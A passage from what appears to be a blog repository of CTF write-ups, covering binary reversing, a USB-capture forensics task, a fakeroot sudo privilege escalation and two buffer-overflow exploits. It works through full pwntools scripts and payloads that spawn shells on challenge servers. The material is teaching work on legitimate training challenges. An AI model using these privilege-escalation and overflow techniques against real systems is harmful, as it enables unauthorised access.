*(undefined8 *)(unaff_R15 + -0xf0) = 0x100000000000005;
*(value **)(unaff_R15 + -0xe8) = fp;
caml_modify((value *)(lVar2 + 0xb8),(value)(unaff_R15 + -0xd8));
caml_modify((value *)(lVar2 + 0xc0),(value)(unaff_R15 + -0xf8));
caml_modify((value *)(lVar2 + 200),val_00);
caml_modify((value *)(lVar2 + 0xd0),val);
*(undefined8 *)(lVar2 + 0xb0) = 3;
camlDune__exe__Main__reset_ppf_162 = (undefined8 *)(unaff_R15 + -0x48);
camlCamlinternalFormat__make_printf_4961();
caml_c_call(camlStdlib__Pccall_1846);
puVar5 = *(undefined8 **)(unaff_R14 + 8);
camlStdlib__input_line_1013();
camlDune__exe__Main__user_input_158 = extraout_RAX_00;
camlStdlib__Bytes__make_245();
camlStdlib__List__map_462();
uVar4 = caml_alloc2();
camlDune__exe__Main__apply_arg_156 = puVar5 + 1;
*puVar5 = 0x800;
*camlDune__exe__Main__apply_arg_156 = extraout_RAX_01;
puVar5[2] = uVar4;
camlStdlib__String__sum_lengths_277();
caml_c_call(extraout_RAX_02);
camlStdlib__String__unsafe_blits_311();
camlDune__exe__Main__processed_154 = s2;
camlDune__exe__Main__cond_153 = caml_string_equal(camlDune__exe__Main__user_input_158,s2);
if (camlDune__exe__Main__cond_153 == 1) {
camlCamlinternalFormat__make_printf_4961();
}
else {
camlCamlinternalFormat__make_printf_4961();
}
lVar2 = DAT_0032b618;
uVar4 = camlDune__exe__Main__reset_ppf_162[3];
camlStdlib__Format__pp_flush_queue_1605();
(*(code *)**(undefined8 **)(lVar2 + 0x88))();
*(undefined8 *)(DAT_0032b618 + 0xb0) = uVar4;
camlStdlib__Format__pp_set_formatter_stag_functions_1511();
return;
}
```
That looks.. unnecessarily complex. But still, we can extract some interesting information from this code. There seems to be a call to printf through a wrapper named `camlCamlinternalFormat__make_printf_4961`, and some other calls.. but the most interesting part is the answer validation.
A call to `caml_string_equal`, which is the equivalent for the traditional `strcmp`, is done, comparing the user input with some `s2` label.
## Exploitation
We can easily understand that the answer we're looking for is in that s2 label at runtime. Using the GDB debugger, we can find the address for the string comparison function, and put a breakpoint there:
```
(gdb) info address caml_string_equal
Symbol "caml_string_equal" is a function at address 0x5555556cf4a0.
(gdb) b *0x5555556cf4a0
Breakpoint 2 at 0x5555556cf4a0: file str.c, line 276.
```
Once we reach the breakpoint, we can print the contents of s2, and we have our flag!
```
(gdb) r
What's a dromedary that has two bosses instead of only one? Tell me: whatever
Breakpoint 2, caml_string_equal (s1=140737350800592, s2=140737350799552) at str.c:276
(gdb) x/s s2
0x7ffff7cd10c0: "RM{1t'5_c4113d_4_c4m31!!}"
```

View File

@@ -0,0 +1,46 @@
---
title: "CTF20K 2025: Fake News"
excerpt: "Using misconfigured Linux system utilities to escalate privilege."
tags: [ctf, pwn]
---
We are provided with an user SSH login. Once on the server, we can explore a bit and we quickly find something interesting:
```
user@65fbb9aee61c7005bfc08c5e2dec9231:~$ sudo -l
Matching Defaults entries for user on 65fbb9aee61c7005bfc08c5e2dec9231:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User user may run the following commands on
65fbb9aee61c7005bfc08c5e2dec9231:
(ALL) NOPASSWD: /usr/bin/fakeroot -f *
```
The `sudo` command here allows us to see what commands we can run with superuser privileges. We see that the `usr/bin/fakeroot -f` command can be ran this way, with anything as the argument.
Fakeroot is a tool that makes the environment look like it has root privileges for file manipulation: this is particularly useful to create archives with files in them having root ownership, without actually having it. By looking at the manual page for this command, we see this:
```
--faked binary
Specify an alternative binary to use as faked.
```
*Here, `-f` is shorthand for this `--faked` option.*
The **faked** that the manual refers to can be set to anything, therefore we could try setting it as something useful like `bash`:
```
user@65fbb9aee61c7005bfc08c5e2dec9231:~$ sudo /usr/bin/fakeroot -f bash
root@65fbb9aee61c7005bfc08c5e2dec9231:/home/user# id
root@65fbb9aee61c7005bfc08c5e2dec9231:/home/user# ls
```
Here we see that there is no output at all, for any of our commands.. but if we try to escape that shell with a simple `^D`, we can access the real root shell:
```
root@65fbb9aee61c7005bfc08c5e2dec9231:/home/user#
exit
root@65fbb9aee61c7005bfc08c5e2dec9231:/home/user# cat /root/flag.txt
RM{Omg_Fakeroot_is_Fak3???}
```

View File

@@ -0,0 +1,206 @@
---
title: "404CTF 2025: Gorfou en danger 1"
excerpt: "The space agency is in danger and we need to know what's up with this binary."
tags: [ctf, pwn]
---
## Recon
We're doing the usual first steps here. It's good to know that the binary is 64-bit and little endian:
```
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bc5d9d86ef7f729d68624930e7ed982127aa5c5f, for GNU/Linux 3.2.0, not stripped
$ checksec --file=chall
[*] 'GorfouEnDanger/gorfou-en-danger-1/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
```
Fortunately here, we have access to the source code. There it is, stripped from all the unnecessary stuff:
```c
void debug_access(void) {
puts("Accès à l'interface de debogage...");
system("/bin/sh");
return;
}
void take_command() {
char command[0x100];
printf("> ");
read(0, command, 0x130);
printf("Commande inconnue\n");
}
int main(void) {
while (1) {
take_command();
}
return 0;
}
```
At first glance, we see that the `take_command` function, called by `main`, contains a call to `read` in a buffer of size `0x130` (304 decimal), but the said buffer is only `0x100` bytes long (256 decimal). This is clearly a buffer overflow and we can exploit it.
Also, we note the presence of the `debug_access` function, called nowhere. This function calls a shell, therefore we will try to call it using the buffer overflow.
So, our exploit will consist in a ret2win attack:
- some padding, to overwrite the return address on the stack;
- the address of the `debug_access` function.
## Exploitation
To find the offset of the return address, we can create a cyclic pattern of size 300, using an [online tool](https://wiremask.eu/tools/buffer-overflow-pattern-generator/?), because for some reason my `cyclic` tool didn't work right this time:
```
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
```
Using `pwndbg` we can inspect the contents of registers, after the segmentation fault occured (due to the program trying to access an invalid address, because it was overwritten by our cyclic pattern):
```
RSP 0x7fffffffd888 ◂— 'Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9\n'
```
Looking up this pattern in our cyclic tool, we end up with the offset 264.
Next, let's get the address of our forbidden function:
```
pwndbg> info fun debug_access
0x00000000004004fd debug_access
```
Remembering the target works in little-endian, we have to inject address bytes in reverse order. We can now craft our payload manually using Python:
```
$ python2 -c 'print "A"*264 + "\xfd\x04\x40\x00\x00\x00\x00\x00"' > payload
```
With our payload ready, we can finally exploit the binary:
```
cat payload | ./chall
```
A less manual approach would be to make a Python script using the Pwntools library (stripped from boilerplate code here for simplicity):
```
from pwn import *
io = start()
padding = 264
payload = flat(
b'A' * padding,
elf.functions.debug_access
)
io.sendlineafter(b'>', payload)
io.interactive()
```
We can run the exploit on the remote server to get our flag:
```
$ python exploit.py REMOTE challenges.404ctf.fr 32462
[O] Opening connection to challenges.404ctf.fr on port 32462: Trying 51.91.[+] Opening connection to challenges.404ctf.fr on port 32462: Done
[DEBUG] Received 0x3f1 bytes:
00000000 20 20 20 20 20 20 5f 5f 20 20 20 20 20 20 20 20 │ │ __│ │ │
00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 │ │ │ │ · │
00000050 20 20 20 2f 5c 20 5c 20 20 20 20 20 20 20 20 20 │ /│\ \ │ │ │
00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000090 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 2f 20 │ │ │ · │ / │
000000a0 20 5c 20 5c 20 20 20 20 20 20 2e 2d 2d 2d 2d 2d │ \ \│ │ .-│----│
000000b0 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d │----│----│----│----│
*
000000e0 2d 2d 2d 2e 20 0a 20 20 20 2f 20 2f 5c 20 5c 20 │---.│ · │ / /│\ \ │
000000f0 5c 20 20 20 20 20 7c e2 96 91 e2 96 88 e2 96 80 │\ │ |·│····│····│
00000100 e2 96 84 e2 96 91 e2 96 88 e2 96 80 e2 96 80 e2 │····│····│····│····│
00000110 96 91 e2 96 88 e2 96 80 e2 96 80 e2 96 91 e2 96 │····│····│····│····│
00000120 88 e2 96 80 e2 96 80 e2 96 91 e2 96 91 e2 96 91 │····│····│····│····│
00000130 e2 96 88 e2 96 80 e2 96 80 e2 96 91 e2 96 88 e2 │····│····│····│····│
00000140 96 80 e2 96 88 e2 96 91 e2 96 88 e2 96 80 e2 96 │····│····│····│····│
00000150 88 e2 96 91 e2 96 88 e2 96 80 e2 96 80 e2 96 91 │····│····│····│····│
00000160 e2 96 88 e2 96 80 e2 96 88 e2 96 91 e2 96 88 e2 │····│····│····│····│
00000170 96 91 e2 96 91 e2 96 91 e2 96 88 e2 96 80 e2 96 │····│····│····│····│
00000180 80 e2 96 91 e2 96 91 e2 96 91 e2 96 88 e2 96 91 │····│····│····│····│
00000190 e2 96 88 e2 96 91 e2 96 80 e2 96 88 e2 96 91 7c │····│····│····│···|│
000001a0 0a 20 20 2f 20 2f 20 2f 5c 20 5c 20 5c 20 20 20 │· /│ / /│\ \ │\ │
000001b0 20 7c e2 96 91 e2 96 88 e2 96 91 e2 96 88 e2 96 │ |··│····│····│····│
000001c0 91 e2 96 88 e2 96 91 e2 96 88 e2 96 91 e2 96 80 │····│····│····│····│
000001d0 e2 96 80 e2 96 88 e2 96 91 e2 96 88 e2 96 91 e2 │····│····│····│····│
000001e0 96 88 e2 96 91 e2 96 91 e2 96 91 e2 96 88 e2 96 │····│····│····│····│
000001f0 91 e2 96 91 e2 96 91 e2 96 88 e2 96 91 e2 96 88 │····│····│····│····│
00000200 e2 96 91 e2 96 88 e2 96 91 e2 96 88 e2 96 91 e2 │····│····│····│····│
00000210 96 80 e2 96 80 e2 96 88 e2 96 91 e2 96 88 e2 96 │····│····│····│····│
00000220 91 e2 96 88 e2 96 91 e2 96 88 e2 96 91 e2 96 91 │····│····│····│····│
00000230 e2 96 91 e2 96 88 e2 96 80 e2 96 80 e2 96 91 e2 │····│····│····│····│
00000240 96 91 e2 96 91 e2 96 80 e2 96 84 e2 96 80 e2 96 │····│····│····│····│
00000250 91 e2 96 91 e2 96 88 e2 96 91 7c 0a 20 2f 20 2f │····│····│··|·│ / /│
00000260 20 2f 5f 5f 5c 5f 5c 20 5c 20 20 20 7c e2 96 91 │ /__│\_\ │\ │|···│
00000270 e2 96 80 e2 96 80 e2 96 91 e2 96 91 e2 96 80 e2 │····│····│····│····│
00000280 96 80 e2 96 80 e2 96 91 e2 96 80 e2 96 80 e2 96 │····│····│····│····│
00000290 80 e2 96 91 e2 96 80 e2 96 80 e2 96 80 e2 96 91 │····│····│····│····│
000002a0 e2 96 91 e2 96 91 e2 96 80 e2 96 80 e2 96 80 e2 │····│····│····│····│
000002b0 96 91 e2 96 80 e2 96 80 e2 96 80 e2 96 91 e2 96 │····│····│····│····│
000002c0 80 e2 96 91 e2 96 80 e2 96 91 e2 96 80 e2 96 80 │····│····│····│····│
000002d0 e2 96 80 e2 96 91 e2 96 80 e2 96 80 e2 96 80 e2 │····│····│····│····│
000002e0 96 91 e2 96 80 e2 96 80 e2 96 80 e2 96 91 e2 96 │····│····│····│····│
000002f0 80 e2 96 80 e2 96 80 e2 96 91 e2 96 91 e2 96 91 │····│····│····│····│
00000300 e2 96 91 e2 96 80 e2 96 91 e2 96 91 e2 96 80 e2 │····│····│····│····│
00000310 96 80 e2 96 80 7c 0a 2f 20 2f 20 2f 5f 5f 5f 5f │····│·|·/│ / /│____│
00000320 5f 5f 5f 5f 5c 20 20 27 2d 2d 2d 2d 2d 2d 2d 2d │____│\ '│----│----│
00000330 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d │----│----│----│----│
*
00000360 27 20 20 0a 5c 2f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f │' ·│\/__│____│____│
00000370 5f 2f 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │_/ │ │ │ │
00000380 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000003b0 0a 54 65 72 6d 69 6e 61 6c 20 64 65 20 63 6f 6e │·Ter│mina│l de│ con│
000003c0 74 72 c3 b4 6c 65 20 c3 a0 20 64 69 73 74 61 6e │tr··│le ·│· di│stan│
000003d0 63 65 20 64 65 20 6c 61 20 62 61 73 65 20 6d 61 │ce d│e la│ bas│e ma│
000003e0 72 74 69 65 6e 6e 65 20 46 65 72 6d 61 74 0a 3e │rtie│nne │Ferm│at·>│
000003f0 20 │ │
000003f1
[DEBUG] Sent 0x111 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000100 41 41 41 41 41 41 41 41 fd 04 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│
00000110 0a │·│
00000111
[*] Switching to interactive mode
[DEBUG] Received 0x37 bytes:
00000000 43 6f 6d 6d 61 6e 64 65 20 69 6e 63 6f 6e 6e 75 │Comm│ande│ inc│onnu│
00000010 65 0a 41 63 63 c3 a8 73 20 c3 a0 20 6c 27 69 6e │e·Ac│c··s│ ·· │l'in│
00000020 74 65 72 66 61 63 65 20 64 65 20 64 65 62 6f 67 │terf│ace │de d│ebog│
00000030 61 67 65 2e 2e 2e 0a │age.│..·│
00000037
Commande inconnue
Accès à l'interface de debogage...
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x1f bytes:
b'chall\n'
b'flag.txt\n'
b'lancement-fusee\n'
chall
flag.txt
lancement-fusee
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x1c bytes:
b'404CTF{c@n_7He_GoRF0u_F1y_?}'
404CTF{c@n_7He_GoRF0u_F1y_?}
```

157
writeups/2025-06-10-MPC.md Normal file
View File

@@ -0,0 +1,157 @@
---
title: "CTF20K 2025: MPC"
excerpt: "Reverse-engineering a Multi-Password Checker to extract sensitive information."
tags: [ctf, rev]
---
## Recon
The challenge starts with a binary file, that has the following behavior:
```
$ ./password_checker
Enter a password: test
Password is invalid.
```
We will have to guess the password here. There is no source code available for that program, therefore we have to disassemble it using a tool like Ghidra. The decompiled main function looks like this:
```c
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
undefined1 local_78 [104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter a password: ");
__isoc99_scanf(&DAT_004b603b,local_78);
iVar1 = is_valid_password(local_78);
if (iVar1 == 0) {
puts("Password is invalid.");
}
else {
puts("Password is valid.");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
The program asks for user input, passes it through the `is_valid_password` function and outputs text accordingly. Let's analyze this function:
```c
undefined8 is_valid_password(char *param_1)
{
char cVar1;
size_t sVar2;
undefined8 uVar3;
int local_10;
sVar2 = strlen(param_1);
if ((int)sVar2 == 0x17) {
for (local_10 = 0; local_10 < 0x17; local_10 = local_10 + 1) {
cVar1 = transform_char((int)param_1[local_10],local_10);
if (cVar1 != valid_password_encrypted[local_10]) {
return 0;
}
}
cVar1 = transform_char((int)param_1[2],2);
if (cVar1 == '\x1f') {
cVar1 = transform_char((int)param_1[5],5);
if (cVar1 == '\x1f') {
cVar1 = transform_char((int)param_1[8],8);
if (cVar1 == '\v') {
uVar3 = 1;
}
else {
uVar3 = 0;
}
}
else {
uVar3 = 0;
}
}
else {
uVar3 = 0;
}
}
else {
uVar3 = 0;
}
return uVar3;
}
```
The function loops through all characters in the given string (user input), and passes each of them into the `transform_char` function. It then checks each char against the `valid_password_encrypted` string at the same index. That means, if we get the encrypted version of the password, and we pass it through an inverse version of `transform_char`, we could get the right password..
Decompiling `transform_char` gives us this:
```c
uint transform_char(byte param_1,int param_2)
{
return param_2 + (param_1 ^ 0x33) ^ 0x55;
}
```
## Exploitation
The function is pretty straightforward, as it consists of simple bitwise XOR operations, and one addition. Keeping in mind that both addition and bitwise-XOR have the same priority in computation, and considering the classical left-to-right calculation order, and knowing that XORing two times against the same number gives back the original value, inversing it gives:
```c
param_1 ^ 0x55 - param_2 ^ 0x33
```
Now we have to find the encrypted password. Using the `nm` tool, we can find the memory address of a label in a program:
```
$ nm -C ./password_checker | grep valid_password_encrypted
00000000004b6010 R valid_password_encrypted
```
Having that specific address in mind, we can boot up our favorite debugger and explore that area:
```
(gdb) x/32bx 0x00000000004b6010
0x4b6010 <valid_password_encrypted>: 0x34 0x2a 0x1f 0x31 0x0f 0x1f 0x27 0x30
0x4b6018 <valid_password_encrypted+8>: 0x0b 0x20 0x33 0x19 0x2d 0x34 0x31 0x03
0x4b6020 <valid_password_encrypted+16>: 0x29 0x27 0x3d 0x0d 0x39 0x09 0x31 0x00
0x4b6028: 0x45 0x6e 0x74 0x65 0x72 0x20 0x61 0x20
```
The password is a null-terminated string, and by looking at this output we know that it is 23 bytes long. Our final ciphertext is this:
```
34 2a 1f 31 0f 1f 27 30 0b 20 33 19 2d 34 31 03 29 27 3d 0d 39 09 31
```
Now, let's apply the inverse XOR-based transformation to every byte, concatenate the output, and print it as a string, using a simple Python script:
```python
encrypted = [
0x34, 0x2a, 0x1f, 0x31, 0x0f, 0x1f, 0x27, 0x30,
0x0b, 0x20, 0x33, 0x19, 0x2d, 0x34, 0x31, 0x03,
0x29, 0x27, 0x3d, 0x0d, 0x39, 0x09, 0x31
]
def inverse_transform_char(t, i):
return chr(((t ^ 0x55) - i) ^ 0x33)
password = ''.join(inverse_transform_char(t, i) for i, t in enumerate(encrypted))
print(password)
```
There we go!
```
$ python exploit.py
RM{Rev_me_or_get_Revkt}
```

View File

@@ -0,0 +1,73 @@
---
title: "404CTF 2025: USB51"
excerpt: "Identifying information present in a data leak using a USB packet capture."
tags: [ctf, forensics]
---
Someone tried to exfiltrate data from our space agency, and we need to know what it was. To do this, we're given a USB packet capture in `pcapng` format. Opening it using Wireshark was my first reflex:
```
1 0.000000 host 2.3.2 USBMS 95 SCSI: Test Unit Ready LUN: 0x00
2 0.000037 2.3.2 host USB 64 URB_BULK out
3 0.000054 host 2.3.1 USB 64 URB_BULK in
4 0.000150 2.3.1 host USBMS 77
5 1.173244 host 1.1.0 USBHUB 64 SET_FEATURE Request [Port 3: PORT_SUSPEND]
```
As we can see, there is some communication going on between the host and a couple of USB devices. When ordering the packets by Length, we find something interesting:
```
43 3.364572 host 2.3.2 USB 48192 URB_BULK out
73 3.381362 host 2.3.2 USB 576 URB_BULK out
67 3.380135 host 2.3.2 USB 576 URB_BULK out
61 3.378983 host 2.3.2 USB 576 URB_BULK out
```
One packet is clearly standing out from the others; its size is 48192 bytes, whereas the others are usually 576 bytes or less. Let's investigate this one: we can copy its raw information as a hex stream:
```
255044462d312e370a25c3a4c3bcc3b6c39f0a322030206f626a0a3c3c2f4c656e6774682033203020522f46696c7465722f466c6174654465636f64653e3e0a73747265616d0a789c9d5a4d8fe3b811bdf7af30905b0e1ab2f80d180624cb0eb2c81e266920872087ddd9d960379b1964308b24ff3eaf8a12f561aa65ed34bac7966592557cf5
[redacted for simplicity]
```
This hex can then be transcribed to ASCII-printable characters with a tool like CyberChef:
```
@µC*ä.ÿÿS.....-.é©.h....§* ..ÿÿÿ.¼...¼..........................%PDF-1.7
%äüöÃ.
2 0 obj
<</Length 3 0 R/Filter/FlateDecode>>
[redacted for simplicity]
```
Looks like we found a PDF file! Let's look at the hex dump of a sample PDF to see how it's made on the inside:
```
00000000 25 50 44 46 2D 31 2E 37 0A 25 C3 A4 %PDF-1.7.%..
0000000C C3 BC C3 B6 C3 9F 0A 32 20 30 20 6F .......2 0 o
00000018 62 6A 0A 3C 3C 2F 4C 65 6E 67 74 68 bj.<</Length
00000024 20 33 20 30 20 52 2F 46 69 6C 74 65 3 0 R/Filte
00000030 72 2F 46 6C 61 74 65 44 65 63 6F 64 r/FlateDecod
0000003C 65 3E 3E 0A 73 74 72 65 61 6D 0A 78 e>>.stream.x
[redacted for simplicity]
00001D08 0A 3E 3E 0A 73 74 61 72 74 78 72 65 .>>.startxre
00001D14 66 0A 36 38 39 34 0A 25 25 45 4F 46 f.6894.%%EOF
00001D20 0A .
```
We can see that a normal PDF file starts with `%PDF-1.7` and ends with `%%EOF`, followed by a newline character (in the dump, byte `0A`). We can now trim our hex dump to these borders, and then dump the whole hex into a fresh PDF, to examine it like a human would do:
```
$ xxd -r -p pdf_hex.txt > extracted.pdf
$ open extracted.pdf
```
When opening that PDF file, we see a report of the space agency, containing a binary piece of information, that we can convert to ASCII easily:
```
00110100 00110000 00110100 01000011 01010100 01000110 01111011 01010111
00110011 01011111 01100011 00110000 01001101 01000101 01011111 01001001
01001110 01011111 01110000 00110011 01100001 01000011 00110011 01111101
```
We have the flag! `404CTF{W3_c0ME_IN_p3aC3}`

View File

@@ -0,0 +1,216 @@
---
title: "DownUnderCTF 2025: corporate-cliche"
excerpt: "Here, we'll exploit a buffer overflow in a mock e-mail server."
tags: [ctf, pwn]
---
## Recon
An executable file is given. Let's do some recon first:
```
$ file email_server
email_server: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f8b6376e8e206a299f035e9a5a587abd7ae50b24, for GNU/Linux 3.2.0, not stripped
$ checksec --file=email_server
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 50 Symbols No 0 3 email_server
```
Another good thing for information gathering here is that we have access to the complete C source code; we do not need to disassemble or decompile anything. Let's take a look (as always, unimportant parts are stripped):
```c
void open_admin_session() {
printf("-> Admin login successful. Opening shell...\n");
system("/bin/sh");
exit(0);
}
void print_email() {
// A bunch of printf, redacted here. who cares
exit(0);
}
const char* logins[][2] = {
{"admin", "🇦🇩🇲🇮🇳"},
{"guest", "guest"},
};
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
char password[32];
char username[32];
printf("┌──────────────────────────────────────┐\n");
printf("│ Secure Email System v1.337 │\n");
printf("└──────────────────────────────────────┘\n\n");
printf("Enter your username: ");
fgets(username, sizeof(username), stdin);
username[strcspn(username, "\n")] = 0;
if (strcmp(username, "admin") == 0) {
printf("-> Admin login is disabled. Access denied.\n");
exit(0);
}
printf("Enter your password: ");
gets(password);
for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
if (strcmp(username, logins[i][0]) == 0) {
if (strcmp(password, logins[i][1]) == 0) {
printf("-> Password correct. Access granted.\n");
if (strcmp(username, "admin") == 0) {
open_admin_session();
} else {
print_email();
}
} else {
printf("-> Incorrect password for user '%s'. Access denied.\n", username);
exit(1);
}
}
}
printf("-> Login failed. User '%s' not recognized.\n", username);
exit(1);
}
```
Okay, so apparently we have to trigger the `open_admin_session()` function someway. Problem is, we need to login as admin for this, and the admin login seems to be disabled.
However, even though the programmer thought about using `fgets()` to get secure user input for the username field, we see that the very very unsafe `gets()` function is used here for the password input. This is prone to buffer overflow as we all know.
What I wanted to first was to exploit a traditional ret2win vulnerability and get the challenge done fast, but things didn't turn as I had expected. Opening the file in pwndbg, I generated a long enough cyclic pattern (two buffers of 32 bytes so the default 100 bytes length should be good).
When injecting though, no SEGFAULT happened. Weird...
```
pwndbg> cyclic
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/qelal/downunderctf/corporate-cliche/email_server
┌──────────────────────────────────────┐
│ Secure Email System v1.337 │
└──────────────────────────────────────┘
Enter your username: whatever
Enter your password: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
-> Login failed. User 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' not recognized.
[Inferior 1 (process 7635) exited with code 01]
```
No SEGFAULT, but it seems that after some padding, we still overflow into the username field (from the password buffer). Interesting...
Just to be sure, we'll calculate the offset. I don't want to count by hand, so:
```
pwndbg> cyclic -n 4 -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32
```
As expected, it's 32 bytes long. Wait, so if we can overflow the username, we could probably bypass the check for admin login! Also, we are given a "logins" array that contain usernames and passwords, especially the admin one.
However the admin password isn't easily readable; it does not render in the terminal so it is probably some combination of Unicode codepoints, representing stuff like emojis. We can get the raw bytes of it by inspecting the executable in an hex editor:
```
00002440 00 61 64 6D 69 6E 00 F0 9F 87 A6 F0 9F 87 A9 F0 9F 87 B2 F0 9F 87 AE F0 9F 87 B3 00 67 75 65 73 .admin......................gues
00002460 74 00 00 00 00 00 00 00 E2 94 8C E2 94 80 E2 94 80 E2 94 80 E2 94 80 E2 94 80 E2 94 80 E2 94 80 t...............................
```
We see, after the "admin" null-terminated array of bytes, some patterns always starting by `F0 9F 87` and finally ending by a null-byte. This pattern is the [UTF-8 encoding for emojis in Unicode](https://apps.timwhitlock.info/emoji/tables/unicode). That's a bingo! We then extract this byte array and this is what we have as the admin password:
```
\xF0\x9F\x87\xA6\xF0\x9F\x87\xA9\xF0\x9F\x87\xB2\xF0\x9F\x87\xAE\xF0\x9F\x87\xB3
```
## Exploitation
What we can do now, to exploit our executable, is:
- filling the username field with garbage
- filling the password field with the admin password, null-terminate it, add some padding, and then inject the "admin" string after the buffer so it overflows into the username field.
This way, we could probably bypass the login check and enter the system. I'm going to show the full exploit code, including boilerplate (thanks to [CryptoCat](https://www.youtube.com/@_CryptoCat) for this beautiful piece of code by the way), but I won't do it again in other write-ups; here will be the reference for it.
The boilerplate allows us to switch easily from local/remote execution, and it also allows pwntools to automatically figure out byte order, word size, and such things we don't want to carry around everywhere.
Here it is:
```python
from pwn import *
# Boilerplate code
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
exe = './email_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# Auth as whatever user
io.sendlineafter(b':', "guest")
# Send admin password recovered from hexdump + admin (overflowing into username[32])
io.sendlineafter(b':', b'\xF0\x9F\x87\xA6\xF0\x9F\x87\xA9\xF0\x9F\x87\xB2\xF0\x9F\x87\xAE\xF0\x9F\x87\xB3\x00' + 11*b'A' + b'admin')
# Receive the flag
io.interactive()
```
Now, we can run the exploit and get a shell, and then our precious flag:
```
(MyEnv) ➜ corporate-cliche python exploit.py REMOTE chal.2025.ductf.net 30000
[+] Opening connection to chal.2025.ductf.net on port 30000: Done
[DEBUG] Received 0x135 bytes:
00000120 45 6e 74 65 72 20 79 6f 75 72 20 75 73 65 72 6e │Ente│r yo│ur u│sern│
00000130 61 6d 65 3a 20 │ame:│ │
00000135
[DEBUG] Sent 0x6 bytes:
b'guest\n'
[DEBUG] Received 0x15 bytes:
b'Enter your password: '
[DEBUG] Sent 0x26 bytes:
00000000 f0 9f 87 a6 f0 9f 87 a9 f0 9f 87 b2 f0 9f 87 ae │····│····│····│····│
00000010 f0 9f 87 b3 00 41 41 41 41 41 41 41 41 41 41 41 │····│·AAA│AAAA│AAAA│
00000020 61 64 6d 69 6e 0a │admi│n·│
00000026
[*] Switching to interactive mode
[DEBUG] Received 0x51 bytes:
b'-> Password correct. Access granted.\n'
b'-> Admin login successful. Opening shell...\n'
-> Password correct. Access granted.
-> Admin login successful. Opening shell...
$ ls
[DEBUG] Received 0x16 bytes:
b'flag.txt\n'
b'get-flag\n'
b'pwn\n'
$ cat flag.txt
[DEBUG] Received 0x41 bytes:
b'DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}\n'
```
Nice! I really liked this one because the exploit wasn't what I expected at first. Really cool.

137
writeups/2025-07-20-Zeus.md Normal file
View File

@@ -0,0 +1,137 @@
---
title: "DownUnderCTF 2025: Zeus"
excerpt: "Reverse-engineering Zeus!"
tags: [ctf, rev]
---
## Recon
The challenge gives us an executable file. As we usually do in reverse engineering challenges, we start by doing some recon on the file type, target architecture, and security:
```
$ file zeus
